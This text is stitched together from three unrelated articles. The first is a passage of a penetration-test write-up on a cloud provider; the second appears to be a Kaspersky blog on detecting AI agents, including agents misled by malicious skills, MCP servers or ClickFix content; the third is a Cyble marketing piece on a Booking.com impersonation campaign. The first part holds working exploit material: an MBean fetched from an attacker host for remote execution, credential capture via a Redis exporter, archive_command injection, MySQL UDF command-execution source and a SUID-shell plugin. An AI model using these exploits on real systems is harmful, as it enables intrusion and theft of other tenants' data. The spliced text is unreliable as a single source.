    public String getB64(String path) throws Exception {
        return Base64.getEncoder().encodeToString(Files.readAllBytes(Path.of(path)));
    }

    @Override
    public String putB64(String path, String b64) throws Exception {
        byte[] data = Base64.getDecoder().decode(b64);
        Files.write(Path.of(path), data);
        return "wrote " + data.length + " bytes";
    }
}

After compiling our custom MBean, we place the resulting JAR file on a remote web server and prepare an mlet.html configuration file so the target server can load it.

<html>
<mlet code="Exec" archive="execmbean.jar" name="payload:type=Exec"></mlet>
</html>

We then perform the following steps:

1. Create a standard MLet loader inside the Kafka JVM.
2. Load the malicious MBean onto the target server by calling the getMBeansFromURL method of the standard MLet component (DefaultDomain:type=MLet). The URL of the prepared file is passed as an argument: http://attacker_ip:8000/mlet.html.
3. Call the run(String cmd) method of the loaded MBean to achieve RCE on the host.

This attack vector was possible because the RMI stub host, which security standards require to be bound only to the loopback interface (127.0.0.1), was mistakenly exposed to the cloud’s shared overlay network.

2.3. Credential leakage through redis-exporter

The next step was to analyze hosts running managed Redis instances. Alongside the main port 6379 used by Redis, each host had a redis exporter service on port 9121. Analysis of its source code revealed a logic vulnerability in how the target parameter was handled:

//redis_exporter/exporter/http.go:47
func (e *Exporter) scrapeHandler(w http.ResponseWriter, r *http.Request) {
  target := r.URL.Query().Get("target")
...

  if !strings.Contains(target, "://") {
    target = "redis://" + target
  }

  u, err := url.Parse(target)
...

  opts := e.options
...
  _, err = NewRedisExporter(target, opts)
...

Essentially, the /scrape handler accepts an arbitrary target parameter and attempts to collect metrics from that target with the same credentials the exporter uses to connect to its primary Redis instance. Directing a redis exporter request to an attacker-controlled host, such as one running nc -nvlp 6379, makes it possible to intercept the following credentials:

http://<redis_expoter_host>:9121/scrape?target=<fake_redis_server>

The captured credentials allowed access to other customers’ Redis instances to read, modify, or delete stored data.

(Note. A Redis RCE vulnerability was disclosed during the research. Combined with the access obtained, it made it possible to fully compromise other tenants’ services).

2.4. Compromise of managed PostgreSQL (Patroni) clusters

The PostgreSQL DBMS is one of the most popular managed resources alongside mk8s. The next step was therefore to analyze PostgreSQL hosts in the overlay network. Scanning nodes with the PostgreSQL port (5432) open revealed related services on ports 2379 (an etcd distributed store) and 8008 (Patroni REST API). While the Patroni REST API required authentication, access to etcd was completely unrestricted. Analysis of the contents of etcd revealed a critical key, /v2/keys/service/pg-cluster/config, which contained the Patroni configuration.

{
  "ttl": 30,
  "loop_wait": 10,
  "retry_timeout": 10,
  "maximum_lag_on_failover": 1048576,
  "postgresql": {
    "use_pg_rewind": true,
    "parameters": {
      "archive_command": "id",
      "archive_mode": "always",
      "max_connections": 550,
      "max_locks_per_transaction": 512,
      "max_worker_processes": 27
    }
  }
}

Write access to this configuration file allows an attacker to set archive_command to a command of their choice and achieve RCE on the target host when the archiving process starts. To avoid waiting for the WAL to fill up through normal activity, a way was found to force archiving even with minimal access privileges:

Update the Patroni configuration with the modified archive_command:

curl -s -X PUT http://localhost:2379/v2/keys/service/<CLUSTER_NAME>/config -d value="$(jq -c . config.json)" | jq

Update the configuration again to add the standby_cluster parameter:

{
"ttl": 30,
"loop_wait": 10,
"retry_timeout": 10,
"maximum_lag_on_failover": 1048576,
"postgresql": {
 "use_pg_rewind": true,
 "parameters": {
   "archive_command": "rce",
   "archive_mode": "on",
   "archive_timeout": "10",
   "max_connections": 550,
   "max_locks_per_transaction": 512,
   "max_worker_processes": 27
 }
},
"standby_cluster": {
 "host": "192.0.2.1",
 "port": 5432
}
}

After this parameter is applied, Patroni detects a role conflict for the current primary. The logs show a sequence similar to the following:

cannot be a real primary in standby cluster  
Demoting self (demote-cluster)  
received fast shutdown request  
checkpoint starting: shutdown immediate

Postgres then restarts, and the archiving process runs and executes the injected command:

This makes it possible to log in to other tenants’ Postgres DBMS instances and gain full control over the data. As an additional risk factor, files containing credentials for access to S3 storage were found on these hosts.

This storage holds backups not only of the current instance but also of all other databases in the cloud.

3. Attack on SaltStack management infrastructure

After gaining root access to the control plane node, the focus shifted to the SaltStack configuration management service.

3.1. Analysis of salt fs

The first step was to dump the entire Salt master file system for subsequent static analysis:

It contained numerous files.

salt-call --out=newline_values_only cp.list_master saltenv=redacted | sed '/^$/d' | while read -r f; do
      mkdir -p "/tmp/dump/$(dirname "$f")"
      salt-call --out=newline_values_only cp.get_file "salt://$f" "/tmp/dump/$f" saltenv=redacted >/dev/null
    done

Because the Salt version in use was up to date, no known CVEs were applicable. However, we found a custom script (_pillar/somebase.py) with a critical vulnerability among the files on the Salt master. The vendor had written it to service minions running the somebase service. The vulnerability is an insecure SQL query construction through the query.format() method:

sql = query.format(
            minion_id=minion_id,
            pillar={**pillar, **results},
            grains=__grains__,
        )
        loaded_items = db_connections[db_alias].load_object_list(sql)

A Salt minion can trigger a pillar refresh and pass arbitrary metadata (grains) to the Salt master. This allows an attacker to inject SQL code through the some_id parameter inside grains. When the extension on the Salt master side processes the request, the generated SQL query is executed in the prod-cloud database. As a result, the vulnerability makes an error-based SQL injection possible.

3.2. Exploiting the SQLi

This vulnerability provided access to various database schemas. The most interesting one was the cloudsmth schema, which contained about 50 tables with metadata of all managed resources and VDS.

Even more notable was the salt-masters table, which held authentication tokens for all Salt masters.

With these tokens, we could access the Salt master REST API and run arbitrary commands on all minions in the cloud:

curl -k https://salt-master:8000   -H "Accept: application/json"   -H "Content-Type: application/json"   -H "X-Auth-Token: REDACTED"   -d '[{"client":"local","tgt":"hostname-minion","fun":"cmd.run","arg":["id; hostname"]}]'

By agreement with the vendor, the attack was not developed further. Even so, access to the salt-masters table and the prod-cloud database would have made it possible to take over all resources, including VDS, S3, and other services, in a single step.

4. Other ways to attack the cloud

It’s worth mentioning other ways to get into the overlay network, since some of them also produced interesting cases.

4.1. Exploiting a vulnerability in Managed Valkey

During analysis of the Valkey instances deployed in the cloud infrastructure, we found that the software version in use was vulnerable to CVE-2026-25243. At the time of the analysis, no public proofs of concept (PoCs) or exploits existed. To study how the vulnerability manifests, we analyzed the diagnostic data returned by the INFO command:

valkey_version=7.2.11
redis_version=7.2.4
redis_git_sha1=97b6663c
redis_git_dirty=0
redis_build_id=a75ca2f023d97d88
gcc_version=13.3.0
arch_bits=64
os=Linux 6.8.0-124-generic x86_64
executable=/usr/bin/valkey-server

The redis_build_id identifier made it possible to determine the exact binary in use. It matched the official build for Ubuntu Noble x86_64.

CVE-2026-25243 is caused by the RESTORE command handling serialized RDB objects incorrectly. When the legacy hash-zipmap encoding is used, the validator accepts a 5-byte length representation for a short key, but the parser that follows interprets the key’s internal bytes as the encoding of the value length. This mismatch can cause an out-of-bounds write that overwrites adjacent heap chunks (heap overflow), which can potentially lead to an arbitrary write primitive. After the successful arbitrary write to adjacent memory regions, strict systemd sandbox rules presented an obstacle:

NoExecPaths=/
ExecPaths=/usr/bin/valkey-server /usr/lib /lib
CapabilityBoundingSet=
NoNewPrivileges=true
PrivateUsers=true
ProtectSystem=strict
ProtectHome=true
SystemCallFilter=@system-service
SystemCallFilter=~ @privileged @resources

These parameters block the execution of standard shells, such as /bin/sh. Even so, the /tmp directory was mounted with write access. By modifying the process logic, we could trigger the download and execution of a third-party component from /tmp, which wasn’t covered by the noexec rule. After establishing a stable communication channel, we added an SSH key to /var/lib/valkey/.ssh/authorized_keys. This gave us independent access to the host and the ability to escalate privileges further through standard local privilege escalation (LPE) methods.

The GRO Frag vulnerability was triggered in this case, but new LPEs are disclosed every week, so there may be many other ways to escalate privileges and continue the attack on the Salt master.

4.2. MySQL

The MySQL database user didn’t have root privileges when the resource was created.

DROP TABLE IF EXISTS mysql.global_grants;
CREATE TABLE mysql.global_grants (
USER char(32) NOT NULL DEFAULT '',
HOST char(255) NOT NULL DEFAULT '',
PRIV char(32) NOT NULL DEFAULT '',
WITH_GRANT_OPTION enum('N','Y') NOT NULL DEFAULT 'N',
PRIMARY KEY (USER, HOST, PRIV)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;

However, the application logic allowed this user to drop and recreate the table with dynamic privileges:

DROP TABLE IF EXISTS mysql.user;

  CREATE TABLE mysql.user (
    Host char(255) NOT NULL DEFAULT '%',
    User char(32) NOT NULL DEFAULT '',
    Select_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Insert_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Update_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Delete_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Drop_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Reload_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Shutdown_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Process_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    File_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Grant_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    References_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Index_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Alter_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Show_db_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Super_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_tmp_table_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Lock_tables_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Execute_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Repl_slave_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Repl_client_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_view_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Show_view_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Alter_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_user_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Event_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Trigger_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_tablespace_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    ssl_type enum('','ANY','X509','SPECIFIED') NOT NULL DEFAULT '',
    ssl_cipher blob NOT NULL,
    x509_issuer blob NOT NULL,
    x509_subject blob NOT NULL,
    max_questions int unsigned NOT NULL DEFAULT 0,
    max_updates int unsigned NOT NULL DEFAULT 0,
    max_connections int unsigned NOT NULL DEFAULT 0,
    max_user_connections int unsigned NOT NULL DEFAULT 0,
    plugin char(64) NOT NULL DEFAULT 'caching_sha2_password',
    authentication_string text,
    password_expired enum('N','Y') NOT NULL DEFAULT 'N',
    password_last_changed timestamp NULL DEFAULT NULL,
    password_lifetime smallint unsigned DEFAULT NULL,
    account_locked enum('N','Y') NOT NULL DEFAULT 'N',
    Create_role_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Drop_role_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Password_reuse_history smallint unsigned DEFAULT NULL,
    Password_reuse_time smallint unsigned DEFAULT NULL,
    Password_require_current enum('N','Y') DEFAULT NULL,
    User_attributes json DEFAULT NULL,
    PRIMARY KEY (Host, User)
  ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;

After the database was restarted and a new user was created, that user automatically received full administrator privileges. Next, we added more privileges:

INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_VARIABLES_ADMIN','Y');
INSERT INTO mysql.global_grants VALUES ('newadm','%','PERSIST_RO_VARIABLES_ADMIN','Y');
INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_USER','Y');
FLUSH PRIVILEGES;

Having escalated privileges in the database, we now needed to achieve RCE. We compiled a custom UDF library to run system commands.

#include <stdlib.h>
#include <string.h>
#include <stdio.h>

typedef unsigned long long udf_args_type;

typedef struct {
 unsigned int arg_count;
 unsigned int *arg_type;
 char **args;
 unsigned long *lengths;
 char *maybe_null;
 char **attributes;
 unsigned long *attribute_lengths;
 void *extension;
} UDF_ARGS;

typedef struct {
 char maybe_null;
 unsigned int decimals;
 unsigned long max_length;
 char *ptr;
 char const_item;
 void *extension;
} UDF_INIT;

int sys_eval_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
 if (args->arg_count != 1) {
     strcpy(message, "sys_eval requires one argument");
     return 1;
 }
 initid->max_length = 65535;
 return 0;
}

void sys_eval_deinit(UDF_INIT *initid) {}

char* sys_eval(UDF_INIT *initid, UDF_ARGS *args, char *result,
            unsigned long *length, char *is_null, char *error) {
 if (!args->args[0]) { *is_null = 1; return NULL; }
 char cmd[65535];
 snprintf(cmd, sizeof(cmd), "%.*s", (int)args->lengths[0], args->args[0]);
 FILE *pipe = popen(cmd, "r");
 if (!pipe) { *is_null = 1; return NULL; }
 static char buf[65535];
 size_t total = 0;
 while (total < sizeof(buf)-1) {
     size_t n = fread(buf+total, 1, sizeof(buf)-1-total, pipe);
     if (n == 0) break;
     total += n;
 }
 pclose(pipe);
 buf[total] = '\0';
 *length = total;
 return buf;
}

RCE was achieved through a CRLF injection into the configuration file through the cloud provider’s API:

curl -s -X PATCH "https://somecloud/api/dbaas/id" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"config_parameters":{"default-time-zone":"+00:00\nsecure_file_priv=\nplugin_dir=/var/lib/mysql-files/\ndefault-time-zone=+00:00\n#"}}'

This vector made it possible to inject line breaks and override critical configuration parameters:

default-time-zone="+00:00
secure_file_priv= # removes write restrictions so files can be saved to any directory the MySQL user can access.
plugin_dir=/var/lib/mysql-files/ # sets a trusted directory for loading dynamic libraries.

With the write permissions obtained, a malicious UDF library (shared object) was written to the target directory through the following SQL statement:

SELECT UNHEX('$hex') INTO DUMPFILE '/var/lib/mysql-files/rce.so

We restarted the MySQL database to apply the updated configuration and initialize the registered plug-in:

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'rce.so';

The list of active services was analyzed to identify opportunities for local privilege escalation to root. It turned out that the mysql-watcher.service ran with administrator privileges and periodically launched a Python script that accessed MySQL through the system client. To exploit this, we compiled another plug-in:

#include <stdlib.h>
__attribute__((constructor)) static void init(void) {
  system("cp /bin/bash /tmp/rbash && chmod 4755 /tmp/rbash");
}

We injected the path to the directory containing the malicious library (.so file, plugin_dir parameter) and the authentication plug-in name default-auth=plugname into the [client] section of the /etc/mysql/my.cnf configuration file. The next time the background mysql-watcher.service starts the MySQL client as root, the plug-in described above executes on the server host. This causes a system command to run and creates a copy of the Bash interpreter with the SUID bit set (/tmp/rbash), which completes the chain leading to full host compromise.

Conclusion

The cloud provider’s infrastructure was built on in-house components rather than standard open-source solutions, which created a non-trivial attack surface. The research also identified other vulnerabilities, but they were left out of the report because they were standard. Based on the findings, the vendor was given recommendations for strengthening its security posture. The recommendations covered isolating managed services to remove network visibility between them, enforcing strict AppArmor policies to isolate service processes, and adding monitoring of how potentially vulnerable services are used.

Introduction

AI agents and associated tooling are becoming increasingly common in corporate infrastructure. Agents can perform a range of actions with the user’s privileges, such as accessing data, running commands, and interacting with external services. This creates new security risks, especially when these tools are used without the security team’s oversight or well-designed policies.

Detecting, tracking, and controlling AI agents is becoming one of the most pressing tasks for security teams today. We closely follow technological developments and continuously update our solutions to respond to new threats in a timely manner amid a rapidly changing technology landscape. This post describes new expertise built into Kaspersky products that helps counter the threats posed by the proliferation of AI agents. We approach this problem from several angles.

First, you need to thoroughly understand the threat you are dealing with. To this end, we added profiles to the Kaspersky Threat Intelligence Portal that describe various AI agents and how attackers exploit them. At their core, AI agents are programs (processes) that run in the operating system on endpoints and can also launch other processes. This means that Endpoint Detection and Response solutions are among the key endpoint controls for this threat. These solutions detect the presence and launch of AI agents, track their activity, and identify potentially dangerous behavior. When needed, they also take action, such as stopping a suspicious process, blocking the activity, or isolating the host, to reduce the likelihood of an incident escalating. For this purpose, we developed specially adapted detection rules.

You can use Kaspersky Endpoint Security, now also available as Kaspersky Next, to control and restrict the launch of AI agents. This solution uses two components to detect AI agents and control how they are used. Application Control categorizes the application processes launched on endpoints, and Web Control manages access to specific categories of web resources for users on endpoints.

Finally, even harmless AI agents can contain malicious instructions (skills), such as those downloaded from unsafe external sources. Kaspersky Scan Engine analyzes installed applications to detect these threats and also checks LLM files for malicious code. Let’s take a closer look at these solutions and technologies.

Popular AI applications and services in organizations

Tools from Anthropic and OpenAI take the top spots in the September 2026 ranking of AI agents by popularity among Kaspersky users. This list is based on telemetry from Kaspersky solutions. It shows the number of users who had the relevant AI vendors’ products installed at the time of the study.

#	AI product
1	Claude
2	Claude Code
3	Codex
4	OpenCode
5	Zed
6	Wispr Flow
7	LM Studio
8	ZCode
9	Chatbox
10	Cherry Studio

The data shows that agentic systems, especially AI agents for software development, are the most popular AI applications. The TOP 10 also includes an application for running large language models locally (LM Studio) and a voice note-taking app (Wispr Flow).

According to open sources, these are the most widely used AI services in 2026:

#	AI service
1	ChatGPT
2	Google Gemini
3	Claude
4	Grammarly
5	DeepSeek

While analyzing the most popular and widely used apps, our experts also noticed a sharp rise in vulnerable versions of AI-related software and services. From 2025 to date, more than 2500 vulnerabilities have been published:

Number of published vulnerabilities in LLMs, AI tools, and plugins with similar functionality, 2025–2026 (download)

* Data for previous quarters was updated and may differ slightly from previously published data.

Application Control and Web Control

To enforce the organization’s security policy for AI agents and other AI applications on the corporate network, Kaspersky products offer application control based on KL categories. These categories classify installed software and give you granular control over which approved applications can run in the organization.

Application Control analyzes the processes launched on endpoints, tracking which AI agents are running in corporate systems at any given moment, on which hosts, and under which accounts. Application Control also shows how long a given program has been in use.

This makes it easier for the Kaspersky Security Center (KSC) administrator to control applications. Administrators can use KL categories to allow or block AI agents inside the company for specific groups of employees.

Here is what this functionality looks like to KSC administrators:

For details on how to configure Application Control in KSC, follow this link.

In Kaspersky Endpoint Security (KES), Application Control can operate in two modes:

• Denylist. In this mode, Application Control lets users run any applications except those blocked by Application Control rules. This is the default mode.
• Allowlist. In this mode, Application Control blocks users from running any applications except those explicitly allowed by Application Control rules.

Below are the steps to configure Application Control to block AI tools.

Configuring Application Control for the AI Tools category in KES

With this setup, when a user tries to launch an AI agent, they get a notification and the agent doesn’t start.

For more on how to configure Application Control in KES, follow this link. Our public portal also lets you explore information on KL categories and the applications that fall under them, in particular details on how AI agents are categorized and how popular they are.

The View applications drop-down list shows products for a specific vendor.

Similarly, Web Control lets you manage user access to web resources. If a user tries to open a denylisted website, KES blocks access and shows a warning.

When configuring access, the administrator can block websites that provide AI as a service.

For more on configuring Web Control, follow this link. The help portal also provides information on website categories that can be assigned to resources to configure access control.

Kaspersky Endpoint Detection and Response

To an EDR solution, an AI agent is a regular process. It has its own executable, a tree of child processes, and network communications, all of which need to be monitored for suspicious activity. An attacker can use an AI agent as an automation tool. An AI agent installed as a legitimate user tool can also be leveraged in a ClickFix attack, where it executes a malicious instruction received from an untrusted source, such as a document, web page, or email. That said, unsafe actions by an agent do not always indicate an attack. There may be no malicious intent in the chain at all. An incident can result from what looks like an ordinary instruction from a user who doesn’t fully understand the consequences of having it executed. The mere fact that an agent was launched does not reveal whether it is being used in an attack. That is why Kaspersky EDR (KEDR) uses both conventional behavioral rules and rules written and adapted to detect AI tools. The latter identify risky agent actions and settings, and help determine which AI tool was involved in suspicious activity.

Conventional KEDR rules detect the vast majority of familiar malicious techniques, including when performed by an AI agent. A suspicious PowerShell launch, persistence via Task Scheduler, or an attempt to steal credentials leaves clear, identifiable traces. These traces look the same no matter what initiated the actions. The rules analyze launch parameters, process relationships, affected files, network activity, and other telemetry events.

For example, in a recent Armored Likho campaign, we found signs that AI had been used to create loader and dropper samples, which were later compiled with NSIS (Nullsoft Scriptable Install System). The key telltale artifacts were icons in the scripts and excessive comments on every function, which is uncharacteristic of human-written code. In addition, the group continues to generate new modules for its BusySnake Stealer and BusySnake RAT samples. For example, the attackers used AI to develop a module that runs multiple checks for virtual environment artifacts and calculates a score. Depending on the score, the sample either runs or exits with code 0. Even though the initial access samples, payloads, and their modules were AI-generated, the commands they execute via rundll32 and PowerShell are detected by the shell_creation_by_rundll32 and suspicious_powershell_cmd_or_script_spawning rules.

So, for detecting an attack like this, it is not important who wrote the loader, the payload, or its modules: they are given away by the commands they execute, process relationships, and other traces of activity in the system. AI can be involved both in preparing the code and in carrying out the attack directly on the device.

In the latter case, the attacker uses the agent to carry out their tasks and lets it choose and run the required commands within the privileges it has. For effective protection, it is critical to link suspicious actions back to the AI tool and the conditions under which it operates. In KEDR, several specialized rules handle this task.

We have created separate rules for popular AI agents, ai_agent_*_access_to_sensitive_file_**, where * is the tool name and ** is the operating system. They generate alerts when an agent accesses files that contain credentials, tokens, or keys.

The ai_agent_dangerous_execution_mode rule detects agents launched with auto-approval of all actions (so-called YOLO mode) or with the sandbox disabled. These settings do not indicate an attack on their own, but they let the agent perform dangerous actions without user confirmation.

The suspicious_mcp_server_artifact rule triggers when MCP server scripts are created or modified in hidden, temporary, or cache directories. Attackers can place an MCP server in these locations to quietly connect it to the agent: through the MCP server, they can pass instructions to the agent, call third-party tools, and access the user’s data.

The llm_api_access_by_unusual_apps rule generates an alert when an application on Windows, Linux, or macOS connects to the API of a known external LLM service, unless this activity falls under predefined exclusions. This helps spot model access by applications that do not normally behave this way.

Some Kaspersky EDR rules tag events for investigation but do not generate alerts. For example, the ai_agent_**_execution rules flag launches of known agents on Windows, Linux, and macOS. The local_ai_model_artifact rule records the creation or modification of AI model files in typical application, runtime, and cache directories. These events reveal AI tools on the device, including tools that run on local models and never call an external API.

Kaspersky Threat Intelligence Portal

AI agent profiles

The Kaspersky Threat Intelligence Portal offers a large number of software profiles, including profiles of AI agents. You can sort them by the ai_ prefix:

The profile of an AI agent such as Claude Desktop includes a detailed description of the software, the privilege level required to run it, supported platforms, and threat actor groups known to use it. It also lists tactics and techniques mapped to the MITRE ATT&CK framework, with descriptions of the procedures the tool can be used for.

The description also lists ways to detect the software through standard system auditing mechanisms:

• Windows: events from standard audit logs and Sysmon events
• Linux: syscall audit events and Sysmon events
• Network auditing: a set of protocols and the traffic generated by the software

The detection section lists the main artifacts the software leaves in the system: command lines, possible launch parameters, names of the services and scheduled tasks it creates, and the key network artifacts.

Hunt Hub

In December 2025, the Kaspersky Threat Intelligence Portal added Hunt Hub (HH), a repository of detection rules. This is a unique Kaspersky project, and we developed it in response to growing market demand.

This functionality is available in the Threat Landscape section of the portal. It gives analysts access to detection rules: their descriptions and their mapping to MITRE ATT&CK tactics and techniques, as well as to the associated cybercriminal groups.

In the Hunt Hub section, customers can explore the detection logic of EDR, NDR, and NGFW products, including the logic for detecting AI agents.

The rule card provides:

• Detailed description
• Rule’s severity level, confidence level, and alert format
• Detection tips
• Description of possible false positives
• Platforms the rule can run on
• Tactics, techniques, and sub-techniques covered by the rule
• Groups that use the technique covered by the rule
• Detection logic that shows what exactly triggers the rule

Kaspersky Scan Engine

Skills are a key component of the AI agent ecosystem. They’re prewritten sets of natural-language instructions that extend agent functionality. We previously covered the risks that malicious skills pose to agent users. A skill can require the usage of additional programs and services, come with helper scripts (for example, written in Python), or contain a malicious command embedded right in the instruction text. This means that adding skills to an originally harmless AI agent opens up several new ways for malicious code to enter the system. To prevent this, any skills obtained from external sources must be scanned. Kaspersky Scan Engine is well suited for this task. This is a cyberthreat detection and response solution that seamlessly integrates with various applications. It can detect malicious code in agent skills, associated scripts, and in files generated by running agents.

Trained LLMs come in many formats. Some of them (PTH, PT, PKL, KERS, and others) also store parameters and weights (training datasets). These files can also contain malicious code, so it’s critical to scan them before running and using them. Kaspersky Scan Engine scans potentially dangerous LLM formats for infected data. It can deserialize and analyze models to detect malicious code regardless of model size.

Conclusion

AI agents are rapidly making their way into corporate environments: they help employees work faster and take on a wide range of tasks, but they also open up new opportunities for attackers. To take advantage of this technology without compromising security, organizations need to build multi-layered protection and minimize risks. A range of Kaspersky solutions can help with this:

• Kaspersky TIP keeps you up to date on current scenarios in which attackers use AI agents, and its Hunt Hub section provides rules for detecting suspicious AI agent activity.
• Kaspersky EDR detects AI agents in the infrastructure and monitors their activity on endpoints. If it detects potentially dangerous actions, the product can log the event, notify the SOC, and take response actions, such as stopping the process or isolating the host.
• Application Control in Kaspersky products can fully restrict the use of AI agents within the company by using application categorization. The Web Control component can restrict access to AIaaS web resources.
• Kaspersky Scan Engine can be integrated into various company processes to detect malicious code in any files, including AI agent skills and LLMs.

When companies combine the tools described above in a comprehensive approach, they can adopt AI agents in an informed way: with an understanding of the associated risks and effective means of minimizing them.

Booking.com's systems were never breached. Its name was. Storm-1865 spent months borrowing Booking.com's identity to get into hotel computers, and every step of that borrowing left traces on the open internet. 

The open internet is exactly where Cyble Brand Intelligence & Protection works. Walk through the campaign one step at a time, and at each step there is a point where it could have spotted the attacker, cut the attack short or limited the damage. 

What happened 

From December 2024, a group Microsoft tracks as Storm-1865 posed as Booking.com to target hotel and hospitality staff across North America, Europe, Oceania and South and Southeast Asia. Microsoft Threat Intelligence published its findings on March 13, 2025, and said the campaign was still running as of February 2025. 

The attack had four moving parts: 

• The lure. Emails styled as Booking.com messages about negative guest reviews, guest enquiries, promotion offers or account verification. 

• The landing page. A link, sometimes inside a PDF, opened a fake CAPTCHA laid over a faint copy of a real Booking.com page. 

• The trick. The "verification" told staff to open the Windows Run box and paste a command the page had already copied to their clipboard. 

• The payload. That command used mshta.exe to pull commodity malware, including XWorm, Lumma Stealer, VenomRAT, AsyncRAT, Danabot and NetSupport RAT, all built to steal credentials and payment data. 

This was not a one-off. Microsoft says Storm-1865 targeted Booking.com guests in 2023 and e-commerce buyers in 2024 before adding ClickFix. Booking.com told Infosecurity Magazine its own systems were not breached, but some accommodation partners and customers were hit. 

Why the impersonated brand holds the first move 

Booking.com could not install security software on the laptops of its accommodation partners. What it could reach was the attacker's infrastructure copying its brand, and that infrastructure was detectable. Microsoft's own email security flagged URLs in this campaign as impersonating booking.com. 

The stakes are high. The US Federal Trade Commission says people reported losing nearly $1 billion to business impersonators in 2025, out of $3.5 billion lost to imposter scams overall. Every copy of a brand caught early is one fewer victim. 

Five steps, five chances to step in 

Storm-1865 needed Booking.com's credibility at every stage of the attack. Here is each stage, and how Cyble Brand Intelligence & Protection could have helped at it. 

Step 1: Pick a trusted brand and a target list 

What the attacker did. Storm-1865 was a repeat player. Microsoft says it went after Booking.com guests in 2023 and e-commerce buyers in 2024, then turned to hotel staff most likely to work with Booking.com. 

How Cyble could have helped. Cyble's in-house brand team and OSINT surveillance track brand mentions and the actors who keep returning to a brand. A known playbook becomes a set of watch-list rules, so the next wave is expected rather than discovered after the fact. 

Step 2: Register the infrastructure 

What the attacker did. The campaign needed domains and URLs to host its fake pages. Microsoft flagged some of them as matching a known malicious registrant pattern. 

How Cyble could have helped. Suspicious & Watch-Listed Domain monitoring tracks new registrations and DNS activity for typosquats, homoglyphs and lookalike domains, including AI-generated ones. A domain built to impersonate the brand can be flagged when it is registered, before it hosts a single page. 

Step 3: Build the fake Booking.com page 

What the attacker did. Victims landed on a fake CAPTCHA laid over a faint copy of a real Booking.com page. The familiar look was the point: it made a strange request feel routine. 

How Cyble could have helped. Phishing Detection finds sites impersonating the brand, and Watermarking Surveillance spots copied or mirrored brand assets, even on domains with no brand name in them. Automated Takedown then works to get confirmed pages removed. Every hotel that clicks after a takedown hits a dead link instead of a trap. 

Step 4: Send lures across regions 

What the attacker did. Emails and PDFs about negative reviews, guest requests, promotions and account checks went to hotels across North America, Europe, Oceania and Asia. Some came through vendor platforms and ordinary services such as Gmail and iCloud Mail. 

How Cyble could have helped. Multi-language NLP is built to catch phishing and impersonation attempts that are not in English, which matters for a campaign spread across this many markets. Lures that partners report can be handed to Cyble's brand team, traced to the live page behind them and queued for takedown. 

Step 5: Cash in on stolen credentials and payment data 

What the attacker did. Once a staff member pasted the command, malware such as XWorm, Lumma Stealer and VenomRAT went to work. Microsoft says every payload in the campaign could steal credentials and financial data for fraud. 

How Cyble could have helped. Stopping the pasted command itself is a job for endpoint and email controls. What Cyble adds is the aftermath: OSINT surveillance watches forums, blogs and paste sites for exposed credentials and data leaks tied to the brand. Spotting stolen partner logins early gives everyone time to reset access before fraud follows. 

This walkthrough maps public research to Cyble's capabilities. It is not a claim that Cyble took part in the response to this campaign. 

Strongest alongside your other defenses 

Brand intelligence works outside your network, so it pairs naturally with what runs inside it. When a lure arrives from an ordinary Gmail or iCloud address, there is no fake sender domain to flag, so the landing page becomes the asset to hunt. And if someone does run the pasted command, email filtering, endpoint detection, script controls and phishing-resistant MFA, the mitigations Microsoft recommends, do the stopping. Brand intelligence makes sure far fewer people ever reach that moment. 

Is your brand the next Target? Six questions to ask 

Any brand that sits between businesses and their customers can be borrowed the same way: travel platforms, marketplaces, payment providers, logistics firms and SaaS vendors. Ask your team: 

1. Do we know which of our emails, notices and portal pages are most copied by attackers? 

2. Are we alerted when a domain containing our name, or a homoglyph of it, is registered? 

3. Can we spot a cloned page even when it sits on an unrelated domain or free hosting? 

4. How long does it take us to get a confirmed phishing page taken down? 

5. Do our partners know how to report a suspicious message that uses our name? 

6. Do we watch criminal forums and channels for kits or templates built around our brand? 

If more than two answers are "no" or "not sure," the attacker's preparation phase is happening without anyone watching. 

The takeaway 

Look back at the five steps and a pattern stands out. Storm-1865 needed Booking.com's credibility at every one of them, and every one left a trace outside the victims' networks. 

With Cyble Brand Intelligence & Protection watching, each trace becomes a chance to step in: a repeat actor on the watch list, a lookalike domain flagged at registration, a cloned page taken down, a lure traced to its source, a leaked login caught early. If your partners and customers trust your name, Cyble helps make sure nobody else gets to use it. 

See how it works for your brand: request a personalized demo. 

References 

• Microsoft Threat Intelligence, Phishing campaign impersonates Booking.com, delivers a suite of credential-stealing malware, March 13, 2025 

• Infosecurity Magazine, 'ClickFix' Phishing Scam Impersonates Booking.com to Target Hospitality (includes Booking.com statement) 
